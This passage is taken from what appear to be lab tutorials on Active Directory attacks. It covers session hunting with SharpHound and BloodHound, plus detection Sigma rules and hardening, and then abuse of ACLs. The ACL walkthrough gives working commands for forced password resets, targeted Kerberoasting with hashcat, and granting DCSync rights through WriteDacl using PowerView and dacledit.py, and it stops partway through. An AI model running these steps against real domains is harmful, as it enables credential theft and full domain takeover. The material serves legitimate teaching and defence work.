Run looped session collection so you catch users as they come and go. This runs for two hours, dropping a zip after each loop:
SharpHound.exe --CollectionMethods Session --Loop --Loopduration 02:00:00 --OutputDirectory C:\Temp\
2024-03-11T14:02:07 INFO Resolved Collection Methods: Session
2024-03-11T14:02:07 INFO Initializing SharpHound at 2:02 PM on 3/11/2024
2024-03-11T14:02:08 INFO Loop is set, will loop for 02:00:00
2024-03-11T14:02:11 INFO Beginning LDAP search for lab.local
2024-03-11T14:02:33 INFO Status: 3 objects finished (+3 1.5)/s -- Using 41 MB RAM
2024-03-11T14:02:34 INFO Session enumeration: WS01.lab.local -> LABDA
2024-03-11T14:02:35 INFO Session enumeration: WS02.lab.local -> LABUSER
2024-03-11T14:02:36 INFO Compressing data to C:\Temp\20240311140236_BloodHound.zip
2024-03-11T14:32:36 INFO Loop 2 complete. Compressing data to C:\Temp\...
Ingest the zips into BloodHound CE. Each session becomes a HasSession edge from a Computer node to a User node. Now query the graph. First, find any computer holding a Domain Admin session:
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})
RETURN c.name, u.name
c.name u.name
------ ------
"WS01.LAB.LOCAL" "LABDA@LAB.LOCAL"
Then ask BloodHound to draw the full attack path from your owned node to Domain Admins:
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"}))
RETURN p
BloodHound renders the path visually: LABUSER is AdminTo WS01, WS01 HasSession LABDA, LABDA is MemberOf Domain Admins. The graph just told you exactly which box to move to and why.
The kill-chain payoff
You now hold two facts that combine into a takeover: WS01 has an interactive Domain Admin session, and LABUSER already has local admin on WS01. The next move is lateral movement to WS01 and credential harvesting from LSASS (the DA’s TGT or NTLM hash). That step is out of scope here; it lives in the credential-access material. Session hunting’s job ends at “here is the box, and you can already touch it.”

7. Lab Walkthrough: Hunting Domain Admins
Build this in any hypervisor (VMware, VirtualBox, Hyper-V). It reproduces the full path end to end.
| Machine | Role | Config |
|---|---|---|
DC01 (Server 2019 Eval) | DC for lab.local | Standard DC, no SrvsvcSessionInfo hardening, Remote Registry enabled |
WS01 (Windows 10/11 Pro) | Domain workstation | LABDA logged in interactively (run a process as that user) |
WS02 (Windows 10/11 Pro) | Attacker foothold | LABUSER (plain domain user) |
| All | Sysmon installed, logging to Event Viewer |
To simulate the live DA session on WS01, run any process as LABDA and leave it open:
runas /user:LAB\LABDA "powershell.exe -NoExit"
Then walk the path from WS02 as LABUSER.
Step 1: Confirm your context. Know who you are before you move.
whoami /all
USER INFORMATION
----------------
User Name SID
=========== ==============================================
lab\labuser S-1-5-21-3623811015-3361044348-30300820-1106
GROUP INFORMATION
-----------------
Group Name SID
=========================== =============================================
LAB\Domain Users S-1-5-21-3623811015-3361044348-30300820-513
BUILTIN\Users S-1-5-32-545
LAB\Workstation Admins S-1-5-21-3623811015-3361044348-30300820-1142
Note Workstation Admins membership. That hints you may have admin somewhere.
Step 2: Host discovery. Already shown in section 5; Get-DomainComputer returns DC01, WS01, WS02.
Step 3: Low-priv network session sweep. Get-NetSession -ComputerName DC01.lab.local returns LABDA connecting from 10.10.10.41 (which is WS01). The DA’s workstation is identified without any admin rights, courtesy of the unhardened DC.
Step 4: Confirm the interactive logon. Because LABUSER is in Workstation Admins, which is local admin on WS01, Get-NetLoggedon -ComputerName WS01.lab.local succeeds and shows LABDA logged on (section 5 output).
Step 5: Verify your admin foothold. Get-NetLocalGroupMember -ComputerName WS01.lab.local -GroupName Administrators shows LAB\Workstation Admins as a member. You are admin on the exact box with the DA session.
Step 6: Sanity-check with the one-shot hunter. Find-DomainUserLocation confirms LABDA on WS01.
Step 7: Graph it for repeatability. Loop SharpHound for two hours, ingest, run the Cypher queries from section 6. The path lights up.
Step 8: Stop at the boundary. You have the target (WS01) and the access (local admin). Hand off to lateral movement and credential dumping.
8. Common Attacker Techniques
| Technique | Description |
|---|---|
| Level-10 session sweep | Call NetSessionEnum level 10 as a plain domain user against DCs and file servers to map where privileged workstations connect from |
| Privileged logon enumeration | Use NetWkstaUserEnum on hosts where you have local admin to read interactive, service, and batch logons |
| Remote Registry profiling | Query HKEY_USERS subkeys over \PIPE\winreg to list interactively logged-on SIDs |
| Local admin mapping | Enumerate BUILTIN\Administrators over SAMR to find boxes you already control |
| Looped session collection | Run SharpHound --Loop to capture transient privileged sessions over time, raising coverage well past a single snapshot |
| Graph pathfinding | Use BloodHound HasSession and AdminTo edges to compute the shortest path from foothold to Domain Admins |
9. Detection: Sysmon, Event Log, ETW, and Sigma
Every one of these primitives traverses a named pipe over SMB, which means a defender with the right audit policy sees all of them. Enumeration first applies to blue teams too: turn on the right channels before you go looking.
Audit policy prerequisites
Without these subcategories enabled, the high-fidelity events never fire:
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Detailed File Share" /success:enable
auditpol /set /subcategory:"File Share" /success:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
Detailed File Share is the important one. It produces Event 5145, which records the relative target name of each named-pipe open, and that is the single best signal for catching session enumeration.
Windows Security Event Log
| Event ID | Channel | What It Catches |
|---|---|---|
4624 | Security | Successful logon; LogonType 3 is the network logon that SMB session enumeration triggers; pivot on SubjectUserName for non-admin callers |
4627 | Security | Group membership at logon |
4776 | Security | NTLM credential validation attempts |
5140 | Security | Network share object access, including IPC$ (the share NetSessionEnum rides) |
5145 | Security | Detailed share access; reveals \PIPE\srvsvc, \PIPE\wkssvc, \PIPE\winreg opens |
A clean 5145 for a session sweep looks like this:
Event ID: 5145
Account Name: LABUSER
Source Address: 10.10.10.42
Share Name: \\*\IPC$
Relative Target Name: srvsvc
Accesses: ReadData (or ListDirectory)
Sysmon events
| Sysmon Event ID | Use Case |
|---|---|
1 (Process Create) | Alert on net.exe session, psloggedon.exe, netsess.exe, or SharpHound.exe; key fields Image, CommandLine, ParentImage |
3 (Network Connection) | Correlate one process making rapid port-445 connections to many hosts; key fields Image, DestinationPort, DestinationHostname |
18 (Pipe Connected) | Catches connections to \srvsvc, \wkssvc, \winreg |
Sysmon Event 3 ties each TCP/UDP connection to its originating process via ProcessId and ProcessGUID, and carries source/destination hosts, IPs, and ports. A fan-out of port-445 connections from one image in seconds is the SharpHound signature:
EventID: 3 Network connection detected
Image: C:\Temp\SharpHound.exe
Protocol: tcp Initiated: true
DestinationPort: 445
DestinationHostname: DC01.lab.local (then WS01, WS02, ... in rapid succession)
ETW providers
Microsoft-Windows-SMBClient: outbound SMB and pipe access from the attacker host.Microsoft-Windows-SMBServer: inboundIPC$and named-pipe connections on the victim.Microsoft-Windows-LDAP-Client: SharpHound’s LDAP queries can be captured by an ETW trace session while the tool runs, exposing the host-discovery phase before any SMB traffic fires.
Sigma rules
Catch the rapid port-445 fan-out that defines a session scanner:
title: Potential AD Session Enumeration via SMB Fan-Out
logsource:
product: windows
category: network_connection # Sysmon EventID 3
detection:
selection:
EventID: 3
DestinationPort: 445
Initiated: 'true'
timeframe: 30s
condition: selection | count(DestinationHostname) by Image > 10
fields:
- Image
- User
- DestinationHostname
- DestinationIp
level: high
Catch the named-pipe opens that every primitive shares, via Event 5145:
title: Remote Named Pipe Access for Session Enumeration
logsource:
product: windows
service: security
detection:
selection:
EventID: 5145
ShareName: '\\*\IPC$'
RelativeTargetName|contains:
- 'srvsvc'
- 'wkssvc'
- 'winreg'
filter_legitimate:
SubjectUserName|endswith: '$' # optionally drop machine accounts
condition: selection and not filter_legitimate
level: medium
Tune the machine-account filter carefully. Plenty of legitimate management traffic uses these pipes, so baseline first, then alert on unusual source accounts or unusual fan-out.
10. Hardening and Defensive Mitigations
Detection tells you it happened. These controls make the hunt return nothing in the first place.
| Mitigation | Description |
|---|---|
Lock down SrvsvcSessionInfo | Remove the Authenticated Users SID (S-1-5-11) from the DACL on the session-info registry key so level-10 NetSessionEnum denies non-admins |
| Disable Remote Registry | Kills Primitive 3 on workstations: Set-Service RemoteRegistry -StartupType Disabled |
| Protected Users group | Add Domain Admins; blocks NTLM, disables credential caching and unconstrained delegation, shrinks the secrets left in LSASS |
| PAW / AD tiering | Forbid DA accounts from interactive logon on Tier 1/2 workstations; this is the architectural control that makes session hunting yield zero |
| Credential Guard | Isolates LSASS in VBS so found sessions cannot be looted for secrets |
| LAPS | Randomizes and rotates local admin passwords, removing the password reuse that hands attackers the local admin needed for NetWkstaUserEnum |
The registry key to tighten:
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\SrvsvcSessionInfo
The order of impact matters. Tiering is the strategic fix: if a Domain Admin never logs on to a workstation, there is no session to find and no LSASS secret to steal, full stop. Everything else is defense in depth around the reality that admins do log on where they shouldn’t. LAPS plus Credential Guard together close the two follow-on steps (local admin reuse and credential theft) even when a session leaks. The SrvsvcSessionInfo lockdown and Remote Registry disable are cheap, high-value moves that blind the low-privilege phase of the hunt outright.

11. Tools for Session Hunting and Analysis
| Tool | Description | Link |
|---|---|---|
| PowerView | Get-NetSession, Get-NetLoggedon, Get-NetLocalGroupMember, Find-DomainUserLocation | powersploit.readthedocs.io |
| SharpHound CE | C# collector for session, local-admin, and LDAP data | bloodhound.specterops.io |
| BloodHound CE | Graph engine and Cypher interface for attack paths | bloodhound.specterops.io |
| PsLoggedOn | Sysinternals tool using the Remote Registry method | learn.microsoft.com |
net / qwinsta | Built-in session and terminal-session queries | learn.microsoft.com |
| Sysmon | Process, network, and named-pipe telemetry for detection | learn.microsoft.com |
| Wireshark | Confirm SMB/Kerberos transport and \PIPE\srvsvc access | wireshark.org |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| System Owner/User Discovery | T1033 | Event 4624 LogonType 3, Sysmon 18 pipe \wkssvc/\winreg, Event 5145 |
| System Network Connections Discovery | T1049 | Sysmon 3 port-445 fan-out, Event 5145 pipe srvsvc |
| Permission Groups Discovery: Domain Groups | T1069.002 | LDAP query telemetry, Microsoft-Windows-LDAP-Client ETW |
| Account Discovery: Domain Accounts | T1087.002 | LDAP enumeration of user/computer objects |
| Remote System Discovery | T1018 | ADSI/LDAP computer enumeration before SMB activity |
| Group Policy Discovery | T1615 | SharpHound --CollectionMethods All GPO reads |
| Discovery (tactic) | TA0007 | Hosting tactic for all of the above |
| Lateral Movement (tactic) | TA0008 | Downstream tactic enabled by located DA sessions |
Summary
- Session hunting locates where privileged accounts are logged on so their credentials can be stolen from
LSASS, turning a low-priv foothold into Domain Admin without touching the DC directly. - Three primitives do the work:
NetSessionEnum(network sessions, level 10 was free for any user pre-2016),NetWkstaUserEnum(interactive logons, needs local admin), and Remote RegistryHKEY_USERS(interactive SIDs, needs admin plus the service running). - Local admin enumeration via SAMR (
NetLocalGroupGetMembers) is the other half: cross-reference “where the DA is” against “where I’m already admin” and the attack path is computed for you. - SharpHound
--Loopplus BloodHound’sHasSessionedge beat single snapshots, which catch only 5 to 15 percent of real sessions. - Every primitive crosses a named pipe over SMB, so detect with Event
5145(srvsvc/wkssvc/winreg), Sysmon3port-445 fan-out, and18pipe connects, and defend withSrvsvcSessionInfolockdown, Remote Registry disable, Protected Users, LAPS, Credential Guard, and above all AD tiering that keeps Domain Admins off workstations entirely.
Related Tutorials
- Fibers: User-Mode Cooperative Threads
- Finding the EIP Offset: Pattern Creation and Cyclic Patterns
- System Calls and SSDT: How User Mode Reaches the Kernel
- User Mode vs Kernel Mode: Privilege Rings and the Boundary
References
- lmshare.h)
- lmwksta.h)
- 3. **BorderGate – Session Enumeration With NetSessionEnum API
- . **Compass Security – BloodHound Inner Workings Part 2: Session Enumeration Through NetWkstaUserEnum & NetSessionEnum
- 5. **SpecterOps – Deconstructing Logon Session Enumeration
- 6. **SpecterOps – SharpHound Community Edition Docs
- GitHub)
- 8. **PowerSploit Docs –
Get-NetSession
ACL and DACL Enumeration: Finding Abusable Object Permissions (GenericAll, WriteDacl, ForceChangePassword, DCSync rights)
You compromise one low-privilege account. A help desk operator, a service account, anything with a valid Kerberos TGT. No local admin, no shells on the DC, nothing that screams “owned.” Then you dump the ACLs and find that this nobody account has GenericAll on a user who has WriteDacl on the domain object. That’s the whole game. No CVE, no memory corruption, no patch to wait for. Just permissions somebody set in 2017 and forgot about.
This is the most reliable path from “I have a domain account” to “I have the krbtgt hash” in any real engagement, and it is almost never about a single misconfiguration. It is a chain. Your job as the attacker is to read the security descriptors, find the edges, and walk the graph. Your job as the defender is to see the same graph first and the audit events when someone walks it.
Objective: Understand the Active Directory security descriptor model (DACLs, ACEs, SDDL), enumerate the five most dangerous ACE types from a low-privilege account, abuse
GenericAll,WriteDacl,WriteOwner,AllExtendedRights, andForceChangePasswordto escalate to DCSync and domain compromise in a lab, and detect every step with Windows auditing and Sigma.
1. The AD Security Descriptor Model
Every securable object in Active Directory (users, groups, computers, OUs, the domain head itself) carries a Security Descriptor. It is the access-control metadata that the directory consults on every operation. The descriptor has three parts you care about for abuse:
- The DACL (Discretionary Access Control List): the list of principals allowed or denied access, and what access.
- The SACL (System Access Control List): the auditing policy, which controls what generates Event ID
4662and friends. - The Object Owner: a SID with an implicit, undeniable right to rewrite the object’s DACL, regardless of what the DACL currently says.
That last point matters more than people expect. Owning an object means you can always grant yourself anything on it. We exploit exactly that in the WriteOwner chain later.
The full descriptor lives in the nTSecurityDescriptor attribute on every object, serialized in SDDL (Security Descriptor Definition Language). When you read raw SDDL you get strings like (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...). The opening A is an Allow ACE, the cluster of letters is the access mask in symbolic form, and the trailing SID is the trustee.
ACE structure
A DACL is an ordered list of Access Control Entries (ACEs). Each ACE answers “who, what, allow or deny.” The fields that matter for enumeration and abuse:
| ACE Field | Description |
|---|---|
AceType | Allow (0x00) or Deny (0x01) |
AceFlags | Inheritance flags (e.g. 0x01 = object inherit, 0x02 = container inherit) |
AccessMask | The permission bits (e.g. 0x000F01FF = GenericAll) |
ObjectType (GUID) | For extended rights, the specific right being granted (e.g. replication GUIDs) |
InheritedObjectType (GUID) | Object class the ACE applies to when inherited |
SecurityIdentifier | The trustee (SID) being granted or denied |
The ObjectType GUID is the field that turns a generic-looking ACE into something lethal. An ACE with access mask “Control Access” (0x00000100) and an ObjectType of 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 is not generic at all. It is the DS-Replication-Get-Changes extended right, which is half of DCSync. The raw bits look modest; the GUID is what tells you it is a domain-killing privilege.
typedef struct _ACE_HEADER {
UCHAR AceType; // 0x00 = ACCESS_ALLOWED_ACE_TYPE, 0x05 = OBJECT_ACE
UCHAR AceFlags; // CONTAINER_INHERIT_ACE (0x02), OBJECT_INHERIT_ACE (0x01)
USHORT AceSize;
} ACE_HEADER;
typedef struct _ACCESS_ALLOWED_OBJECT_ACE {
ACE_HEADER Header;
ACCESS_MASK Mask; // e.g. ADS_RIGHT_DS_CONTROL_ACCESS (0x00000100)
ULONG Flags; // ACE_OBJECT_TYPE_PRESENT (0x1)
GUID ObjectType; // the extended right GUID
GUID InheritedObjectType;
ULONG SidStart; // trustee SID begins here
} ACCESS_ALLOWED_OBJECT_ACE;
This is the same ACCESS_ALLOWED_OBJECT_ACE structure Windows uses internally. PowerView and BloodHound parse exactly these bytes out of nTSecurityDescriptor and resolve the GUIDs back to human-readable rights. Understanding the struct is what lets you sanity-check a tool when its labeling lies to you, and it does lie occasionally on inherited ACEs.
2. Dangerous ACE Permission Types Explained
There are dozens of access-mask bits. Five combinations matter for escalation. Learn what each one unlocks against each object class, because the abuse path depends entirely on the target type.
| Right | Access Mask | What it grants |
|---|---|---|
GenericAll | 0x000F01FF | Full control. Everything below, plus more. |
GenericWrite | 0x00000028 | Write non-protected attributes (servicePrincipalName, msDS-KeyCredentialLink, scriptPath) |
WriteDacl | 0x00040000 | Rewrite the object’s DACL, granting yourself anything |
WriteOwner | 0x00080000 | Change the object owner to yourself, then rewrite the DACL |
AllExtendedRights | 0x00000100 (control access, no GUID) | All extended rights including password reset and replication |
GenericAll is FullControl. On a user it means you can reset the password, write an SPN, write msDS-KeyCredentialLink. On a group it means you can add members. On a computer it means you can configure resource-based constrained delegation. It is the cleanest win because every other abuse is a subset of it.
GenericWrite does not let you touch the DACL, but it lets you write attributes. Two attributes are weaponizable: writing servicePrincipalName enables targeted Kerberoasting, and writing msDS-KeyCredentialLink enables Shadow Credentials (PKINIT pre-auth with an attacker-controlled key pair).
WriteDacl lets you add a new ACE to the target’s DACL. Against a user that means granting yourself GenericAll. Against the domain object it means granting yourself the two replication rights, which is DCSync. That single ACE on the domain head is the highest-value misconfiguration in this entire article.
WriteOwner is the patient attacker’s right. You make yourself the owner, and owners can always rewrite the DACL. So WriteOwner becomes WriteDacl becomes GenericAll in three operations.
AllExtendedRights is the umbrella for control-access rights. On a user it includes User-Force-Change-Password. On the domain object it includes both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All, which together equal DCSync. A principal with AllExtendedRights on the domain head can DCSync without any further modification.
ForceChangePassword
User-Force-Change-Password is a single extended right (GUID 00299570-246d-11d0-a768-00aa006e0529) that resets a user’s password without knowing the current one. Mechanically the attacker calls the RPC SamrSetInformationUser (or LDAP-modifies unicodePwd) and the directory accepts the new value because the right authorizes the operation. This is louder than a Kerberos abuse because it changes a credential the real user relies on, but it is dead reliable.
DCSync extended rights (memorize these GUIDs)
DCSync is not file theft. It does not copy NTDS.dit. It is a legitimate replication operation, DsGetNCChanges, transported over RPC to the DRSUAPI (Directory Replication Service API) endpoint. A real DC uses this to sync directory partitions. An attacker who holds the replication rights asks the DC to replicate secret attributes (unicodePwd, supplementalCredentials, Kerberos keys) for a target principal, and the DC happily hands them over because the rights check passed.
Two extended rights on the domain naming context grant DCSync:
| Right | GUID |
|---|---|
| DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 |
| DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 |
| DS-Replication-Get-Changes-In-Filtered-Set | 89e95b76-444d-4c62-991a-0facbeda640c |
You need the first two for a full DCSync. The third covers RODC filtered attribute sets and shows up in detection queries. Administrators, Domain Admins, Enterprise Admins, and Domain Controllers hold these by default. Anyone else holding them is drift, and drift is your way in.

3. ACE Inheritance and Container/OU Abuse
Inheritance is the force multiplier. A single ACE on an OU can cascade to every child object inside it.
When an ACE carries the inherit flags (0x01 object inherit plus 0x02 container inherit) and a child object has inheritance enabled, that child receives the ACE automatically. So if you get WriteDacl on an OU and write an inheritable GenericAll ACE for yourself, every user, group, and computer in that OU that allows inheritance now grants you full control. Hundreds of objects, one write.
There is one critical exception: AdminCount. Objects protected by AdminSDHolder (anything that is or has been in a privileged group, marked AdminCount=1) do not inherit container ACEs. The SDProp process overwrites their DACL from the AdminSDHolder template roughly every hour. So OU-level inheritance abuse hits ordinary users (AdminCount=0) but bounces off Tier 0 principals. Good news for defenders, and a reason attackers target the path into a Tier 0 account rather than the account directly.
4. Building the Lab Target
Stand up a single Windows Server 2022 Evaluation domain controller for LAB.local. Promote it, then provision three users and bake in two deliberate misconfigurations. Run this as Domain Admin on the DC.
# Provision intentionally misconfigured users - run as Domain Admin
New-ADUser -Name "helpdesk01" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "alice" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true
# Misconfiguration 1: helpdesk01 has GenericAll over alice
$alice = Get-ADUser alice
$sid = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser helpdesk01).SID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, "GenericAll", "Allow")
$acl = Get-Acl "AD:\$($alice.DistinguishedName)"
$acl.AddAccessRule($ace)
Set-Acl -Path "AD:\$($alice.DistinguishedName)" -AclObject $acl
# Misconfiguration 2: svc_backup has WriteDacl over the domain object
$domainDN = (Get-ADDomain).DistinguishedName
$sid2 = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser svc_backup).SID
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid2, "WriteDacl", "Allow")
$acl2 = Get-Acl "AD:\$domainDN"
$acl2.AddAccessRule($ace2)
Set-Acl -Path "AD:\$domainDN" -AclObject $acl2
PS C:\> # no output on success; verify the ACEs landed:
PS C:\> (Get-Acl "AD:\CN=alice,CN=Users,DC=LAB,DC=local").Access |
>> Where-Object { $_.IdentityReference -like "*helpdesk01*" } |
>> Select-Object ActiveDirectoryRights, AccessControlType
ActiveDirectoryRights AccessControlType
--------------------- -----------------
GenericAll Allow
Two edges now exist: helpdesk01 --GenericAll--> alice and svc_backup --WriteDacl--> LAB.local. The DC IP for the rest of this walkthrough is 192.168.56.10. We start with only the cleartext password for helpdesk01 and svc_backup, the position a real engagement usually begins from.
5. Enumeration with PowerView and BloodHound
Find the opportunity before you touch anything. The first question is always “what does my current principal control.”
Import PowerView and read the ACL on alice, resolving the GUIDs so extended rights become readable instead of hex.
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity alice -Domain LAB.local -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match (Get-ADUser helpdesk01).SID }
AceQualifier : AccessAllowed
ObjectDN : CN=alice,CN=Users,DC=LAB,DC=local
ActiveDirectoryRights : GenericAll
ObjectAceType : None
ObjectSID : S-1-5-21-3623811015-3361044348-30300820-1145
InheritanceType : None
SecurityIdentifier : S-1-5-21-3623811015-3361044348-30300820-1142
IsInherited : False
ActiveDirectoryRights : GenericAll on alice, granted to the SID ending -1142 (which is helpdesk01). That is full control over the user object. It enables a password reset, an SPN write for Kerberoasting, or a Shadow Credential.
Now flip the question: across all users, where is my current token the trustee with dangerous rights?
$me = (whoami /user | Select-String "S-1-5").ToString().Split()[-1]
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|AllExtendedRights" -and
$_.SecurityIdentifier -eq $me }
ObjectDN : CN=alice,CN=Users,DC=LAB,DC=local
ActiveDirectoryRights : GenericAll
ObjectAceType : None
SecurityIdentifier : S-1-5-21-3623811015-3361044348-30300820-1142
IsInherited : False
One hit, as expected. In a real domain this query returns the sprawl that years of help-desk delegation leave behind.
SharpHound and BloodHound CE
Manual queries are fine for a single edge. For path-finding across thousands of objects you want the graph. Collect ACL data with SharpHound:
SharpHound.exe --CollectionMethods ACL,Group,ObjectProps --Domain LAB.local --ZipFilename lab_acls.zip
2024-05-21T14:22:03.1Z|INFORMATION|Resolved Collection Methods: ACL, Group, ObjectProps
2024-05-21T14:22:03.4Z|INFORMATION|Beginning LDAP search for LAB.local
2024-05-21T14:22:09.8Z|INFORMATION|Status: 134 objects finished (+134)/s -- Using 41 MB RAM
2024-05-21T14:22:10.1Z|INFORMATION|Enumeration finished in 00:00:06.7
2024-05-21T14:22:10.3Z|INFORMATION|Saving cache with stats: 0 ID to type mappings.
2024-05-21T14:22:10.5Z|INFORMATION|SharpHound Enumeration Completed! Zip file: 20240521142210_lab_acls.zip
Ingest the ZIP into BloodHound CE and run Cypher. First, every principal with GenericAll on a user:
MATCH p=(n)-[r:GenericAll]->(m:User) RETURN p
Then the question that ends the assessment: is there a path from your foothold to Domain Admins?
MATCH p=shortestPath((u:User {name:"HELPDESK01@LAB.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"}))
RETURN p
(HELPDESK01@LAB.LOCAL) -[GenericAll]-> (ALICE@LAB.LOCAL)
(ALICE@LAB.LOCAL) -[MemberOf]-> (HELP DESK ADMINS@LAB.LOCAL)
(HELP DESK ADMINS) -[GenericAll]-> (SVC_BACKUP@LAB.LOCAL)
(SVC_BACKUP@LAB.LOCAL) -[WriteDacl]-> (LAB.LOCAL)
(LAB.LOCAL) -[DCSync]-> (LAB.LOCAL)
BloodHound abstracts WriteDacl on the domain object directly into a DCSync edge because it understands the chain. Read that path top to bottom and you have your plan: reset alice, pivot through her group membership to svc_backup, use svc_backup’s WriteDacl to grant DCSync, dump the domain.

6. Enumerating DCSync Rights
Before granting DCSync, audit who already holds it. The legitimate holders are the four default groups and the DCs. Anything else is the prize. Query the domain object DACL for the replication GUIDs:
Get-ObjectAcl -DistinguishedName "DC=LAB,DC=local" -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match "Replication-Get-Changes" } |
Select-Object SecurityIdentifier, ObjectAceType |
ForEach-Object {
$_.SecurityIdentifier = ConvertFrom-SID $_.SecurityIdentifier; $_
}
SecurityIdentifier ObjectAceType
------------------ -------------
LAB\Domain Controllers DS-Replication-Get-Changes
LAB\Domain Controllers DS-Replication-Get-Changes-All
LAB\Enterprise Read-only DCs DS-Replication-Get-Changes
LAB\Administrators DS-Replication-Get-Changes
LAB\Administrators DS-Replication-Get-Changes-All
LAB\Enterprise Admins DS-Replication-Get-Changes
LAB\Enterprise Admins DS-Replication-Get-Changes-All
Clean baseline: only default holders. If svc_backup or any service account showed up here, you would have a free DCSync without touching a DACL. We do not yet, so we will create that ACE in section 8.
You can ask the same question by raw GUID, which is what your detection rules will key on:
Get-ObjectAcl -DistinguishedName "DC=LAB,DC=local" |
Where-Object { $_.ObjectType -in @(
'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2',
'89e95b76-444d-4c62-991a-0facbeda640c') } |
Select-Object SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-3623811015-3361044348-30300820-516 ExtendedRight
S-1-5-21-3623811015-3361044348-30300820-498 ExtendedRight
S-1-5-32-544 ExtendedRight
7. Abusing GenericAll and AllExtendedRights
helpdesk01 has GenericAll on alice. Three useful primitives flow from that. Pick the quietest one your objective allows.
Path A: Force a password reset
GenericAll includes the force-change-password right, so you do not need alice’s current password.
$pass = ConvertTo-SecureString 'Pwned1234!' -AsPlainText -Force
Set-DomainUserPassword -Identity alice -AccountPassword $pass -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'alice'
VERBOSE: [Set-DomainUserPassword] Password for user 'alice' successfully reset
From Linux with only the SAMR RPC interface:
rpcclient -U "LAB/helpdesk01%Password1!" //192.168.56.10 \
-c "setuserinfo2 alice 23 'Pwned1234!'"
[no output on success - exit code 0]
You now authenticate as alice and inherit her group memberships. That is how the BloodHound path pivots into svc_backup.
Path B: Targeted Kerberoast
If you would rather not disturb alice’s password (it would lock her out), abuse GenericAll to write a fake SPN, then Kerberoast her. This is worth understanding mechanically.
Kerberos issues two ticket types. After pre-authentication the KDC’s AS issues a TGT (Ticket Granting Ticket) encrypted with the krbtgt key, carrying a PAC (Privilege Attribute Certificate) that lists the user’s SIDs. To reach a service the client presents the TGT to the TGS, which returns a service ticket (TGS-REP) encrypted with the target service account’s NT hash. Any account with a servicePrincipalName set can have a service ticket requested for it by any authenticated user. The ticket is encrypted with that account’s password-derived key, so if the password is weak you crack it offline. That is Kerberoasting. “Targeted” means you write the SPN yourself onto an account that did not have one, using your write access.
Set-DomainObject -Identity alice -Set @{serviceprincipalname='fake/kerberoast'}
Get-DomainUser alice | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash
$krb5tgs$23$*alice$LAB.LOCAL$fake/kerberoast*$A1B2C3D4E5F60718293A4B5C6D7E8F90$
9f3c...c4e1a2b8...[ ~2KB hex blob ]...0d77f6b41c9e8a3f2b1d05e9c7a64f8231bb9e44
hashcat -m 13100 alice_tgs.txt rockyou.txt
$krb5tgs$23$*alice$LAB.LOCAL$fake/kerberoast*...:Summer2023!
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests
Clean up by removing the SPN afterward (Set-DomainObject -Identity alice -Clear serviceprincipalname) so you do not leave the artifact behind. A null SPN write that you forget to revert is the kind of thing that lands you in an IR report.
8. Abusing WriteDacl to Grant DCSync
This is the headline. svc_backup has WriteDacl on the domain object. WriteDacl does not directly grant replication, but it lets you write any ACE you want, including the two replication ACEs that are DCSync.
First, prove the right exists from the svc_backup context (enumeration before action, always):
Get-DomainObjectAcl -Identity "DC=LAB,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match (Get-ADUser svc_backup).SID }
AceQualifier : AccessAllowed
ObjectDN : DC=LAB,DC=local
ActiveDirectoryRights : WriteDacl
ObjectAceType : None
SecurityIdentifier : S-1-5-21-3623811015-3361044348-30300820-1143
IsInherited : False
Now write the DCSync ACE. PowerView’s -Rights DCSync shortcut adds both replication GUIDs in one call:
Add-DomainObjectAcl -TargetIdentity "DC=LAB,DC=local" `
-PrincipalIdentity svc_backup `
-Rights DCSync -Verbose
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=DC=LAB,DC=local))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=svc_backup,CN=Users,DC=LAB,DC=local 'DCSync' on DC=LAB,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=svc_backup,CN=Users,DC=LAB,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=svc_backup,CN=Users,DC=LAB,DC=local rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
From Linux, Impacket’s dacledit.py does the same write over LDAP:
dacledit.py -action write -rights DCSync \
-principal svc_backup -target-dn "DC=LAB,DC=local" \
LAB.local/svc_backup:'Password1!' -dc-ip 192.168.56.10
[*] DACL backed up to dacledit-20240521-150812.bak
[*] DACL modified successfully!
